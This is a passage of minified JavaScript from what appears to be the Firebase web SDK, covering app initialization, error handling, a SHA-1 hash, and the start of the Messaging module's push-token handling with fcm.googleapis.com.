t[r] : [r, t[r]]) }, "values"); Ee.Arguments = Ee.Array, Z("keys"), Z("values"), Z("entries"); for (var Ce = K("iterator"), Ue = K("toStringTag"), Me = Ee.Array, ze = { CSSRuleList: !0, CSSStyleDeclaration: !1, CSSValueList: !1, ClientRectList: !1, DOMRectList: !1, DOMStringList: !1, DOMTokenList: !0, DataTransferItemList: !1, FileList: !1, HTMLAllCollection: !1, HTMLCollection: !1, HTMLFormElement: !1, HTMLSelectElement: !1, MediaList: !0, MimeTypeArray: !1, NamedNodeMap: !1, NodeList: !0, PaintRequestList: !1, Plugin: !1, PluginArray: !1, SVGLengthList: !1, SVGNumberList: !1, SVGPathSegList: !1, SVGPointList: !1, SVGStringList: !1, SVGTransformList: !1, SourceBufferList: !1, StyleSheetList: !0, TextTrackCueList: !1, TextTrackList: !1, TouchList: !1 }, Ge = dt(ze), We = 0; We < Ge.length; We++) { var He, Ve = Ge[We], qe = ze[Ve], Ke = f[Ve], $e = Ke && Ke.prototype; if ($e && ($e[Ce] || E($e, Ce, Me), $e[Ue] || E($e, Ue, Ve), Ee[Ve] = Me, qe)) for (He in Be) $e[He] || x($e, He, Be[He], !0) } Pt.f("iterator"); var Je = Object.setPrototypeOf || { __proto__: [] } instanceof Array && function (t, e) { t.__proto__ = e } || function (t, e) { for (var r in e) e.hasOwnProperty(r) && (t[r] = e[r]) }; function Ye(t, e) { if (!(e instanceof Object)) return e; switch (e.constructor) { case Date: return new Date(e.getTime()); case Object: void 0 === t && (t = {}); break; case Array: t = []; break; default: return e } for (var r in e) e.hasOwnProperty(r) && (t[r] = Ye(t[r], e[r])); return t } function Xe(t, e, r) { t[e] = r } var Qe = "FirebaseError", Ze = Error.captureStackTrace, tr = function () { return function (t, e) { if (this.code = t, this.message = e, Ze) Ze(this, er.prototype.create); else try { throw Error.apply(this, arguments) } catch (t) { this.name = Qe, Object.defineProperty(this, "stack", { get: function () { return t.stack } }) } } }(); tr.prototype = Object.create(Error.prototype), tr.prototype.constructor = tr, tr.prototype.name = Qe; var er = function () { function t(t, e, r) { this.service = t, this.serviceName = e, this.errors = r, this.pattern = /\{\$([^}]+)}/g } return t.prototype.create = function (t, e) { void 0 === e && (e = {}); var r, n = this.errors[t], o = this.service + "/" + t; r = void 0 === n ? "Error" : n.replace(this.pattern, function (t, r) { var n = e[r]; return void 0 !== n ? n.toString() : "<" + r + "?>" }), r = this.serviceName + ": " + r + " (" + o + ")."; var i = new tr(o, r); for (var s in e) e.hasOwnProperty(s) && "_" !== s.slice(-1) && (i[s] = e[s]); return i }, t }(); !function (t) { function e() { var e = t.call(this) || this; e.chain_ = [], e.buf_ = [], e.W_ = [], e.pad_ = [], e.inbuf_ = 0, e.total_ = 0, e.blockSize = 64, e.pad_[0] = 128; for (var r = 1; r < e.blockSize; ++r) e.pad_[r] = 0; return e.reset(), e } (function (t, e) { function r() { this.constructor = t } Je(t, e), t.prototype = null === e ? Object.create(e) : (r.prototype = e.prototype, new r) })(e, t), e.prototype.reset = function () { this.chain_[0] = 1732584193, this.chain_[1] = 4023233417, this.chain_[2] = 2562383102, this.chain_[3] = 271733878, this.chain_[4] = 3285377520, this.inbuf_ = 0, this.total_ = 0 }, e.prototype.compress_ = function (t, e) { e || (e = 0); var r = this.W_; if ("string" == typeof t) for (var n = 0; n < 16; n++) r[n] = t.charCodeAt(e) << 24 | t.charCodeAt(e + 1) << 16 | t.charCodeAt(e + 2) << 8 | t.charCodeAt(e + 3), e += 4; else for (n = 0; n < 16; n++) r[n] = t[e] << 24 | t[e + 1] << 16 | t[e + 2] << 8 | t[e + 3], e += 4; for (n = 16; n < 80; n++) { var o = r[n - 3] ^ r[n - 8] ^ r[n - 14] ^ r[n - 16]; r[n] = 4294967295 & (o << 1 | o >>> 31) } var i, s, a = this.chain_[0], u = this.chain_[1], c = this.chain_[2], f = this.chain_[3], h = this.chain_[4]; for (n = 0; n < 80; n++) { n < 40 ? n < 20 ? (i = f ^ u & (c ^ f), s = 1518500249) : (i = u ^ c ^ f, s = 1859775393) : n < 60 ? (i = u & c | f & (u | c), s = 2400959708) : (i = u ^ c ^ f, s = 3395469782); o = (a << 5 | a >>> 27) + i + h + s + r[n] & 4294967295; h = f, f = c, c = 4294967295 & (u << 30 | u >>> 2), u = a, a = o } this.chain_[0] = this.chain_[0] + a & 4294967295, this.chain_[1] = this.chain_[1] + u & 4294967295, this.chain_[2] = this.chain_[2] + c & 4294967295, this.chain_[3] = this.chain_[3] + f & 4294967295, this.chain_[4] = this.chain_[4] + h & 4294967295 }, e.prototype.update = function (t, e) { if (null != t) { void 0 === e && (e = t.length); for (var r = e - this.blockSize, n = 0, o = this.buf_, i = this.inbuf_; n < e;) { if (0 == i) for (; n <= r;) this.compress_(t, n), n += this.blockSize; if ("string" == typeof t) { for (; n < e;) if (o[i] = t.charCodeAt(n), ++n, ++i == this.blockSize) { this.compress_(o), i = 0; break } } else for (; n < e;) if (o[i] = t[n], ++n, ++i == this.blockSize) { this.compress_(o), i = 0; break } } this.inbuf_ = i, this.total_ += e } }, e.prototype.digest = function () { var t = [], e = 8 * this.total_; this.inbuf_ < 56 ? this.update(this.pad_, 56 - this.inbuf_) : this.update(this.pad_, this.blockSize - (this.inbuf_ - 56)); for (var r = this.blockSize - 1; r >= 56; r--) this.buf_[r] = 255 & e, e /= 256; this.compress_(this.buf_); var n = 0; for (r = 0; r < 5; r++) for (var o = 24; o >= 0; o -= 8) t[n] = this.chain_[r] >> o & 255, ++n; return t } }(function () { return function () { this.blockSize = -1 } }()); function rr(t, e) { var r = new nr(t, e); return r.subscribe.bind(r) } var nr = function () { function t(t, e) { var r = this; this.observers = [], this.unsubscribes = [], this.observerCount = 0, this.task = Promise.resolve(), this.finalized = !1, this.onNoObservers = e, this.task.then(function () { t(r) }).catch(function (t) { r.error(t) }) } return t.prototype.next = function (t) { this.forEachObserver(function (e) { e.next(t) }) }, t.prototype.error = function (t) { this.forEachObserver(function (e) { e.error(t) }), this.close(t) }, t.prototype.complete = function () { this.forEachObserver(function (t) { t.complete() }), this.close() }, t.prototype.subscribe = function (t, e, r) { var n, o = this; if (void 0 === t && void 0 === e && void 0 === r) throw new Error("Missing Observer."); void 0 === (n = function (t, e) { if ("object" != typeof t || null === t) return !1; for (var r = 0, n = e; r < n.length; r++) { var o = n[r]; if (o in t && "function" == typeof t[o]) return !0 } return !1 }(t, ["next", "error", "complete"]) ? t : { next: t, error: e, complete: r }).next && (n.next = or), void 0 === n.error && (n.error = or), void 0 === n.complete && (n.complete = or); var i = this.unsubscribeOne.bind(this, this.observers.length); return this.finalized && this.task.then(function () { try { o.finalError ? n.error(o.finalError) : n.complete() } catch (t) { } }), this.observers.push(n), i }, t.prototype.unsubscribeOne = function (t) { void 0 !== this.observers && void 0 !== this.observers[t] && (delete this.observers[t], this.observerCount -= 1, 0 === this.observerCount && void 0 !== this.onNoObservers && this.onNoObservers(this)) }, t.prototype.forEachObserver = function (t) { if (!this.finalized) for (var e = 0; e < this.observers.length; e++) this.sendOne(e, t) }, t.prototype.sendOne = function (t, e) { var r = this; this.task.then(function () { if (void 0 !== r.observers && void 0 !== r.observers[t]) try { e(r.observers[t]) } catch (t) { "undefined" != typeof console && console.error && console.error(t) } }) }, t.prototype.close = function (t) { var e = this; this.finalized || (this.finalized = !0, void 0 !== t && (this.finalError = t), this.task.then(function () { e.observers = void 0, e.onNoObservers = void 0 })) }, t }(); function or() { } var ir = function (t, e) { return Object.prototype.hasOwnProperty.call(t, e) }, sr = "[DEFAULT]", ar = [], ur = function () { function t(t, e, r) { this.firebase_ = r, this.isDeleted_ = !1, this.services_ = {}, this.name_ = e.name, this._automaticDataCollectionEnabled = e.automaticDataCollectionEnabled || !1, this.options_ = Ye(void 0, t), this.INTERNAL = { getUid: function () { return null }, getToken: function () { return Promise.resolve(null) }, addAuthTokenListener: function (t) { ar.push(t), setTimeout(function () { return t(null) }, 0) }, removeAuthTokenListener: function (t) { ar = ar.filter(function (e) { return e !== t }) } } } return Object.defineProperty(t.prototype, "automaticDataCollectionEnabled", { get: function () { return this.checkDestroyed_(), this._automaticDataCollectionEnabled }, set: function (t) { this.checkDestroyed_(), this._automaticDataCollectionEnabled = t }, enumerable: !0, configurable: !0 }), Object.defineProperty(t.prototype, "name", { get: function () { return this.checkDestroyed_(), this.name_ }, enumerable: !0, configurable: !0 }), Object.defineProperty(t.prototype, "options", { get: function () { return this.checkDestroyed_(), this.options_ }, enumerable: !0, configurable: !0 }), t.prototype.delete = function () { var t = this; return new Promise(function (e) { t.checkDestroyed_(), e() }).then(function () { t.firebase_.INTERNAL.removeApp(t.name_); var e = []; return Object.keys(t.services_).forEach(function (r) { Object.keys(t.services_[r]).forEach(function (n) { e.push(t.services_[r][n]) }) }), Promise.all(e.map(function (t) { return t.INTERNAL.delete() })) }).then(function () { t.isDeleted_ = !0, t.services_ = {} }) }, t.prototype._getService = function (t, e) { if (void 0 === e && (e = sr), this.checkDestroyed_(), this.services_[t] || (this.services_[t] = {}), !this.services_[t][e]) { var r = e !== sr ? e : void 0, n = this.firebase_.INTERNAL.factories[t](this, this.extendApp.bind(this), r); this.services_[t][e] = n } return this.services_[t][e] }, t.prototype.extendApp = function (t) { var e = this; Ye(this, t), t.INTERNAL && t.INTERNAL.addAuthTokenListener && (ar.forEach(function (t) { e.INTERNAL.addAuthTokenListener(t) }), ar = []) }, t.prototype.checkDestroyed_ = function () { this.isDeleted_ && cr("app-deleted", { name: this.name_ }) }, t }(); function cr(t, e) { throw fr.create(t, e) } ur.prototype.name && ur.prototype.options || ur.prototype.delete || console.log("dc"); var fr = new er("app", "Firebase", { "no-app": "No Firebase App '{$name}' has been created - call Firebase App.initializeApp()", "bad-app-name": "Illegal App name: '{$name}", "duplicate-app": "Firebase App named '{$name}' already exists", "app-deleted": "Firebase App named '{$name}' already deleted", "duplicate-service": "Firebase service named '{$name}' already registered", "sa-not-supported": "Initializing the Firebase SDK with a service account is only allowed in a Node.js environment. On client devices, you should instead initialize the SDK with an api key and auth domain", "invalid-app-argument": "firebase.{$name}() takes either no argument or a Firebase App instance." }); return function t() { var e = {}, r = {}, n = {}, o = { __esModule: !0, initializeApp: function (t, r) { if (void 0 === r && (r = {}), "object" != typeof r || null === r) { var n = r; r = { name: n } } var i = r; void 0 === i.name && (i.name = sr); var s = i.name; "string" == typeof s && s || cr("bad-app-name", { name: s + "" }), ir(e, s) && cr("duplicate-app", { name: s }); var u = new ur(t, i, o); return e[s] = u, a(u, "create"), u }, app: i, apps: null, Promise: Promise, SDK_VERSION: "5.5.3", INTERNAL: { registerService: function (t, e, a, u, c) { r[t] && cr("duplicate-service", { name: t }), r[t] = e, u && (n[t] = u, s().forEach(function (t) { u("create", t) })); var f = function (e) { return void 0 === e && (e = i()), "function" != typeof e[t] && cr("invalid-app-argument", { name: t }), e[t]() }; return void 0 !== a && Ye(f, a), o[t] = f, ur.prototype[t] = function () { for (var e = [], r = 0; r < arguments.length; r++) e[r] = arguments[r]; return this._getService.bind(this, t).apply(this, c ? e : []) }, f }, createFirebaseNamespace: t, extendNamespace: function (t) { Ye(o, t) }, createSubscribe: rr, ErrorFactory: er, removeApp: function (t) { a(e[t], "delete"), delete e[t] }, factories: r, useAsService: u, Promise: Promise, deepExtend: Ye } }; function i(t) { return ir(e, t = t || sr) || cr("no-app", { name: t }), e[t] } function s() { return Object.keys(e).map(function (t) { return e[t] }) } function a(t, e) { Object.keys(r).forEach(function (r) { var o = u(t, r); null !== o && n[o] && n[o](e, t) }) } function u(t, e) { if ("serverAuth" === e) return null; var r = e; return t.options, r } return Xe(o, "default", o), Object.defineProperty(o, "apps", { get: s }), Xe(i, "App", ur), o }() });
//# sourceMappingURL=firebase-app.js.maptry{!function(e,t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])};function r(e,t){function r(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}var i=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e};function o(e,t,n,r){return new(n||(n=Promise))(function(i,o){function s(e){try{c(r.next(e))}catch(e){o(e)}}function a(e){try{c(r.throw(e))}catch(e){o(e)}}function c(e){e.done?i(e.value):new n(function(t){t(e.value)}).then(s,a)}c((r=r.apply(e,t||[])).next())})}function s(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(o){return function(a){return function(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=r[2&o[0]?"return":o[0]?"throw":"next"])&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[0,i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=(i=s.trys).length>0&&i[i.length-1])&&(6===o[0]||2===o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=t.call(e,s)}catch(e){o=[6,e],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}([o,a])}}}var a="FirebaseError",c=Error.captureStackTrace,u=function(){return function(e,t){if(this.code=e,this.message=t,c)c(this,h.prototype.create);else try{throw Error.apply(this,arguments)}catch(e){this.name=a,Object.defineProperty(this,"stack",{get:function(){return e.stack}})}}}();u.prototype=Object.create(Error.prototype),u.prototype.constructor=u,u.prototype.name=a;var h=function(){function e(e,t,n){this.service=e,this.serviceName=t,this.errors=n,this.pattern=/\{\$([^}]+)}/g}return e.prototype.create=function(e,t){void 0===t&&(t={});var n,r=this.errors[e],i=this.service+"/"+e;n=void 0===r?"Error":r.replace(this.pattern,function(e,n){var r=t[n];return void 0!==r?r.toString():"<"+n+"?>"}),n=this.serviceName+": "+n+" ("+i+").";var o=new u(i,n);for(var s in t)t.hasOwnProperty(s)&&"_"!==s.slice(-1)&&(o[s]=t[s]);return o},e}();!function(e){function t(){var t=e.call(this)||this;t.chain_=[],t.buf_=[],t.W_=[],t.pad_=[],t.inbuf_=0,t.total_=0,t.blockSize=64,t.pad_[0]=128;for(var n=1;n<t.blockSize;++n)t.pad_[n]=0;return t.reset(),t}r(t,e),t.prototype.reset=function(){this.chain_[0]=1732584193,this.chain_[1]=4023233417,this.chain_[2]=2562383102,this.chain_[3]=271733878,this.chain_[4]=3285377520,this.inbuf_=0,this.total_=0},t.prototype.compress_=function(e,t){t||(t=0);var n=this.W_;if("string"==typeof e)for(var r=0;r<16;r++)n[r]=e.charCodeAt(t)<<24|e.charCodeAt(t+1)<<16|e.charCodeAt(t+2)<<8|e.charCodeAt(t+3),t+=4;else for(r=0;r<16;r++)n[r]=e[t]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3],t+=4;for(r=16;r<80;r++){var i=n[r-3]^n[r-8]^n[r-14]^n[r-16];n[r]=4294967295&(i<<1|i>>>31)}var o,s,a=this.chain_[0],c=this.chain_[1],u=this.chain_[2],h=this.chain_[3],f=this.chain_[4];for(r=0;r<80;r++){r<40?r<20?(o=h^c&(u^h),s=1518500249):(o=c^u^h,s=1859775393):r<60?(o=c&u|h&(c|u),s=2400959708):(o=c^u^h,s=3395469782);i=(a<<5|a>>>27)+o+f+s+n[r]&4294967295;f=h,h=u,u=4294967295&(c<<30|c>>>2),c=a,a=i}this.chain_[0]=this.chain_[0]+a&4294967295,this.chain_[1]=this.chain_[1]+c&4294967295,this.chain_[2]=this.chain_[2]+u&4294967295,this.chain_[3]=this.chain_[3]+h&4294967295,this.chain_[4]=this.chain_[4]+f&4294967295},t.prototype.update=function(e,t){if(null!=e){void 0===t&&(t=e.length);for(var n=t-this.blockSize,r=0,i=this.buf_,o=this.inbuf_;r<t;){if(0==o)for(;r<=n;)this.compress_(e,r),r+=this.blockSize;if("string"==typeof e){for(;r<t;)if(i[o]=e.charCodeAt(r),++r,++o==this.blockSize){this.compress_(i),o=0;break}}else for(;r<t;)if(i[o]=e[r],++r,++o==this.blockSize){this.compress_(i),o=0;break}}this.inbuf_=o,this.total_+=t}},t.prototype.digest=function(){var e=[],t=8*this.total_;this.inbuf_<56?this.update(this.pad_,56-this.inbuf_):this.update(this.pad_,this.blockSize-(this.inbuf_-56));for(var n=this.blockSize-1;n>=56;n--)this.buf_[n]=255&t,t/=256;this.compress_(this.buf_);var r=0;for(n=0;n<5;n++)for(var i=24;i>=0;i-=8)e[r]=this.chain_[n]>>i&255,++r;return e}}(function(){return function(){this.blockSize=-1}}());function f(e,t){var n=new d(e,t);return n.subscribe.bind(n)}var d=function(){function e(e,t){var n=this;this.observers=[],this.unsubscribes=[],this.observerCount=0,this.task=Promise.resolve(),this.finalized=!1,this.onNoObservers=t,this.task.then(function(){e(n)}).catch(function(e){n.error(e)})}return e.prototype.next=function(e){this.forEachObserver(function(t){t.next(e)})},e.prototype.error=function(e){this.forEachObserver(function(t){t.error(e)}),this.close(e)},e.prototype.complete=function(){this.forEachObserver(function(e){e.complete()}),this.close()},e.prototype.subscribe=function(e,t,n){var r,i=this;if(void 0===e&&void 0===t&&void 0===n)throw new Error("Missing Observer.");void 0===(r=function(e,t){if("object"!=typeof e||null===e)return!1;for(var n=0,r=t;n<r.length;n++){var i=r[n];if(i in e&&"function"==typeof e[i])return!0}return!1}(e,["next","error","complete"])?e:{next:e,error:t,complete:n}).next&&(r.next=p),void 0===r.error&&(r.error=p),void 0===r.complete&&(r.complete=p);var o=this.unsubscribeOne.bind(this,this.observers.length);return this.finalized&&this.task.then(function(){try{i.finalError?r.error(i.finalError):r.complete()}catch(e){}}),this.observers.push(r),o},e.prototype.unsubscribeOne=function(e){void 0!==this.observers&&void 0!==this.observers[e]&&(delete this.observers[e],this.observerCount-=1,0===this.observerCount&&void 0!==this.onNoObservers&&this.onNoObservers(this))},e.prototype.forEachObserver=function(e){if(!this.finalized)for(var t=0;t<this.observers.length;t++)this.sendOne(t,e)},e.prototype.sendOne=function(e,t){var n=this;this.task.then(function(){if(void 0!==n.observers&&void 0!==n.observers[e])try{t(n.observers[e])}catch(e){"undefined"!=typeof console&&console.error&&console.error(e)}})},e.prototype.close=function(e){var t=this;this.finalized||(this.finalized=!0,void 0!==e&&(this.finalError=e),this.task.then(function(){t.observers=void 0,t.onNoObservers=void 0}))},e}();function p(){}var l,_,E,b={AVAILABLE_IN_WINDOW:"only-available-in-window",AVAILABLE_IN_SW:"only-available-in-sw",SHOULD_BE_INHERITED:"should-be-overriden",BAD_SENDER_ID:"bad-sender-id",INCORRECT_GCM_SENDER_ID:"incorrect-gcm-sender-id",PERMISSION_DEFAULT:"permission-default",PERMISSION_BLOCKED:"permission-blocked",UNSUPPORTED_BROWSER:"unsupported-browser",NOTIFICATIONS_BLOCKED:"notifications-blocked",FAILED_DEFAULT_REGISTRATION:"failed-serviceworker-registration",SW_REGISTRATION_EXPECTED:"sw-registration-expected",GET_SUBSCRIPTION_FAILED:"get-subscription-failed",INVALID_SAVED_TOKEN:"invalid-saved-token",SW_REG_REDUNDANT:"sw-reg-redundant",TOKEN_SUBSCRIBE_FAILED:"token-subscribe-failed",TOKEN_SUBSCRIBE_NO_TOKEN:"token-subscribe-no-token",TOKEN_SUBSCRIBE_NO_PUSH_SET:"token-subscribe-no-push-set",TOKEN_UNSUBSCRIBE_FAILED:"token-unsubscribe-failed",TOKEN_UPDATE_FAILED:"token-update-failed",TOKEN_UPDATE_NO_TOKEN:"token-update-no-token",USE_SW_BEFORE_GET_TOKEN:"use-sw-before-get-token",INVALID_DELETE_TOKEN:"invalid-delete-token",DELETE_TOKEN_NOT_FOUND:"delete-token-not-found",DELETE_SCOPE_NOT_FOUND:"delete-scope-not-found",BG_HANDLER_FUNCTION_EXPECTED:"bg-handler-function-expected",NO_WINDOW_CLIENT_TO_MSG:"no-window-client-to-msg",UNABLE_TO_RESUBSCRIBE:"unable-to-resubscribe",NO_FCM_TOKEN_FOR_RESUBSCRIBE:"no-fcm-token-for-resubscribe",FAILED_TO_DELETE_TOKEN:"failed-to-delete-token",NO_SW_IN_REG:"no-sw-in-reg",BAD_SCOPE:"bad-scope",BAD_VAPID_KEY:"bad-vapid-key",BAD_SUBSCRIPTION:"bad-subscription",BAD_TOKEN:"bad-token",BAD_PUSH_SET:"bad-push-set",FAILED_DELETE_VAPID_KEY:"failed-delete-vapid-key",INVALID_PUBLIC_VAPID_KEY:"invalid-public-vapid-key",USE_PUBLIC_KEY_BEFORE_GET_TOKEN:"use-public-key-before-get-token",PUBLIC_KEY_DECRYPTION_FAILED:"public-vapid-key-decryption-failed"},v=((l={})[b.AVAILABLE_IN_WINDOW]="This method is available in a Window context.",l[b.AVAILABLE_IN_SW]="This method is available in a service worker context.",l[b.SHOULD_BE_INHERITED]="This method should be overriden by extended classes.",l[b.BAD_SENDER_ID]="Please ensure that 'messagingSenderId' is set correctly in the options passed into firebase.initializeApp().",l[b.PERMISSION_DEFAULT]="The required permissions were not granted and dismissed instead.",l[b.PERMISSION_BLOCKED]="The required permissions were not granted and blocked instead.",l[b.UNSUPPORTED_BROWSER]="This browser doesn't support the API's required to use the firebase SDK.",l[b.NOTIFICATIONS_BLOCKED]="Notifications have been blocked.",l[b.FAILED_DEFAULT_REGISTRATION]="We are unable to register the default service worker. {$browserErrorMessage}",l[b.SW_REGISTRATION_EXPECTED]="A service worker registration was the expected input.",l[b.GET_SUBSCRIPTION_FAILED]="There was an error when trying to get any existing Push Subscriptions.",l[b.INVALID_SAVED_TOKEN]="Unable to access details of the saved token.",l[b.SW_REG_REDUNDANT]="The service worker being used for push was made redundant.",l[b.TOKEN_SUBSCRIBE_FAILED]="A problem occured while subscribing the user to FCM: {$message}",l[b.TOKEN_SUBSCRIBE_NO_TOKEN]="FCM returned no token when subscribing the user to push.",l[b.TOKEN_SUBSCRIBE_NO_PUSH_SET]="FCM returned an invalid response when getting an FCM token.",l[b.TOKEN_UNSUBSCRIBE_FAILED]="A problem occured while unsubscribing the user from FCM: {$message}",l[b.TOKEN_UPDATE_FAILED]="A problem occured while updating the user from FCM: {$message}",l[b.TOKEN_UPDATE_NO_TOKEN]="FCM returned no token when updating the user to push.",l[b.USE_SW_BEFORE_GET_TOKEN]="The useServiceWorker() method may only be called once and must be called before calling getToken() to ensure your service worker is used.",l[b.INVALID_DELETE_TOKEN]="You must pass a valid token into deleteToken(), i.e. the token from getToken().",l[b.DELETE_TOKEN_NOT_FOUND]="The deletion attempt for token could not be performed as the token was not found.",l[b.DELETE_SCOPE_NOT_FOUND]="The deletion attempt for service worker scope could not be performed as the scope was not found.",l[b.BG_HANDLER_FUNCTION_EXPECTED]="The input to setBackgroundMessageHandler() must be a function.",l[b.NO_WINDOW_CLIENT_TO_MSG]="An attempt was made to message a non-existant window client.",l[b.UNABLE_TO_RESUBSCRIBE]="There was an error while re-subscribing the FCM token for push messaging. Will have to resubscribe the user on next visit. {$message}",l[b.NO_FCM_TOKEN_FOR_RESUBSCRIBE]="Could not find an FCM token and as a result, unable to resubscribe. Will have to resubscribe the user on next visit.",l[b.FAILED_TO_DELETE_TOKEN]="Unable to delete the currently saved token.",l[b.NO_SW_IN_REG]="Even though the service worker registration was successful, there was a problem accessing the service worker itself.",l[b.INCORRECT_GCM_SENDER_ID]="Please change your web app manifest's 'gcm_sender_id' value to '103953800507' to use Firebase messaging.",l[b.BAD_SCOPE]="The service worker scope must be a string with at least one character.",l[b.BAD_VAPID_KEY]="The public VAPID key is not a Uint8Array with 65 bytes.",l[b.BAD_SUBSCRIPTION]="The subscription must be a valid PushSubscription.",l[b.BAD_TOKEN]="The FCM Token used for storage / lookup was not a valid token string.",l[b.BAD_PUSH_SET]="The FCM push set used for storage / lookup was not not a valid push set string.",l[b.FAILED_DELETE_VAPID_KEY]="The VAPID key could not be deleted.",l[b.INVALID_PUBLIC_VAPID_KEY]="The public VAPID key must be a string.",l[b.PUBLIC_KEY_DECRYPTION_FAILED]="The public VAPID key did not equal 65 bytes when decrypted.",l),g=new h("messaging","Messaging",v),T=new Uint8Array([4,51,148,247,223,161,235,177,220,3,162,94,21,113,219,72,211,46,237,237,178,52,219,183,71,58,12,143,196,204,225,111,60,140,132,223,171,182,102,62,242,12,212,139,254,227,249,118,47,20,28,99,8,106,111,45,177,26,149,176,206,55,192,156,110]),S="https://fcm.googleapis.com";function y(e,t){if(null==e||null==t)return!1;if(e===t)return!0;if(e.byteLength!==t.byteLength)return!1;for(var n=new DataView(e),r=new DataView(t),i=0;i<e.byteLength;i++)if(n.getUint8(i)!==r.getUint8(i))return!1;return!0}function w(e){return function(e){var t=new Uint8Array(e);return btoa(String.fromCharCode.apply(null,t))}(e).replace(/=/g,"").replace(/\+/g,"-").replace(/\//g,"_")}!function(e){e.TYPE_OF_MSG="firebase-messaging-msg-type",e.DATA="firebase-messaging-msg-data"}(_||(_={})),function(e){e.PUSH_MSG_RECEIVED="push-msg-received",e.NOTIFICATION_CLICKED="notification-clicked"}(E||(E={}));var I=function(){function e(){}return e.prototype.getToken=function(e,t,n){return o(this,void 0,void 0,function(){var r,i,o,a,c,u,h,f;return s(this,function(s){switch(s.label){case 0:r=w(t.getKey("p256dh")),i=w(t.getKey("auth")),o="authorized_entity="+e+"&endpoint="+t.endpoint+"&encryption_key="+r+"&encryption_auth="+i,y(n.buffer,T.buffer)||(a=w(n),o+="&application_pub_key="+a),(c=new Headers).append("Content-Type","application/x-www-form-urlencoded"),u={method:"POST",headers:c,body:o},s.label=1;case 1:return s.trys.push([1,4,,5]),[4,fetch(S+"/fcm/connect/subscribe",u)];case 2:return[4,s.sent().json()];case 3:return h=s.sent(),[3,5];case 4:throw s.sent(),g.create(b.TOKEN_SUBSCRIBE_FAILED);case 5:if(h.error)throw f=h.error.message,g.create(b.TOKEN_SUBSCRIBE_FAILED,{message:f});if(!h.token)throw g.create(b.TOKEN_SUBSCRIBE_NO_TOKEN);if(!h.pushSet)throw g.create(b.TOKEN_SUBSCRIBE_NO_PUSH_SET);return[2,{token:h.token,pushSet:h.pushSet}]}})})},e.prototype.updateToken=function(e,t,n,r,i){return o(this,void 0,void 0,function(){var o,a,c,u,h,f,d,p;return s(this,function(s){switch(s.label){case 0:o=w(r.getKey("p256dh")),a=w(r.getKey("auth")),c="push_set="+n+"&token="+t+"&authorized_entity="+e+"&endpoint="+r.endpoint+"&encryption_key="+o+"&encryption_auth="+a,y(i.buffer,T.buffer)||(u=w(i),c+="&application_pub_key="+u),(h=new Headers).append("Content-Type","application/x-www-form-urlencoded"),f={method:"POST",headers:h,body:c},s.label=1;case 1:return s.trys.push([1,4,,5]),[4,fetch(S+"/fcm/connect/subscribe",f)];case 2:return[4,s.sent().json()];case 3:return d=s.sent(),[3,5];case 4:throw s.sent(),g.create(b.TOKEN_UPDATE_FAILED);case 5:if(d.error)throw p=d.error.message,g.create(b.TOKEN_UPDATE_FAILED,{message:p});if(!d.token)throw g.create(b.TOKEN_UPDATE_NO_TOKEN);return[2,d.token]}})})},e.prototype.deleteToken=function(e,t,n){return o(this,void 0,void 0,function(){var r,i,o,a,c;return s(this,function(s){switch(s.label){case 0:r="authorized_entity="+e+"&token="+t+"&pushSet="+n,(i=new Headers).append("Content-Type","application/x-www-form-urlencoded"),o={method:"POST",headers:i,body:r},s.label=1;case 1:return s.trys.push([1,4,,5]),[4,fetch(S+"/fcm/connect/unsubscribe",o)];case 2:return[4,s.sent().json()];case 3:if((a=s.sent()).error)throw c=a.error.message,g.create(b.TOKEN_UNSUBSCRIBE_FAILED,{message:c});return[3,5];case 4:throw s.sent(),g.create(b.TOKEN_UNSUBSCRIBE_FAILED);case 5:return[2]}})})},e}();function D(e){for(var t=(e+"=".repeat((4-e.length%4)%4)).replace(/\-/g,"+").replace(/_/g,"/"),n=atob(t),r=new Uint8Array(n.length),i=0;i<n.length;++i)r[i]=n.charCodeAt(i);return r}var N="undefined",m="fcm_token_object_Store";function O(){var e=indexedDB.open(N);e.onerror=function(e){},e.onsuccess=function(t){!function(e){if(e.objectStoreNames.contains(m)){var t=e.transaction(m).objectStore(m),n=new I,r=t.openCursor();r.onerror=function(e){console.warn("Unable to cleanup old IDB.",e)},r.onsuccess=function(){var t=r.result;if(t){var i=t.value;n.deleteToken(i.fcmSenderId,i.fcmToken,i.fcmPushSet),t.continue()}else e.close(),indexedDB.deleteDatabase(N)}}}(e.result)}}var k=function(){function e(){this.dbPromise=null}return e.prototype.get=function(e){return this.createTransaction(function(t){return t.get(e)})},e.prototype.getIndex=function(e,t){return this.createTransaction(function(n){return n.index(e).get(t)})},e.prototype.put=function(e){return this.createTransaction(function(t){return t.put(e)},"readwrite")},e.prototype.delete=function(e){return this.createTransaction(function(t){return t.delete(e)},"readwrite")},e.prototype.closeDatabase=function(){return o(this,void 0,void 0,function(){return s(this,function(e){switch(e.label){case 0:return this.dbPromise?[4,this.dbPromise]:[3,2];case 1:e.sent().close(),this.dbPromise=null,e.label=2;case 2:return[2]}})})},e.prototype.createTransaction=function(e,t){return void 0===t&&(t="readonly"),o(this,void 0,void 0,function(){var n,r,i,o;return s(this,function(s){switch(s.label){case 0:return[4,this.getDb()];case 1:return 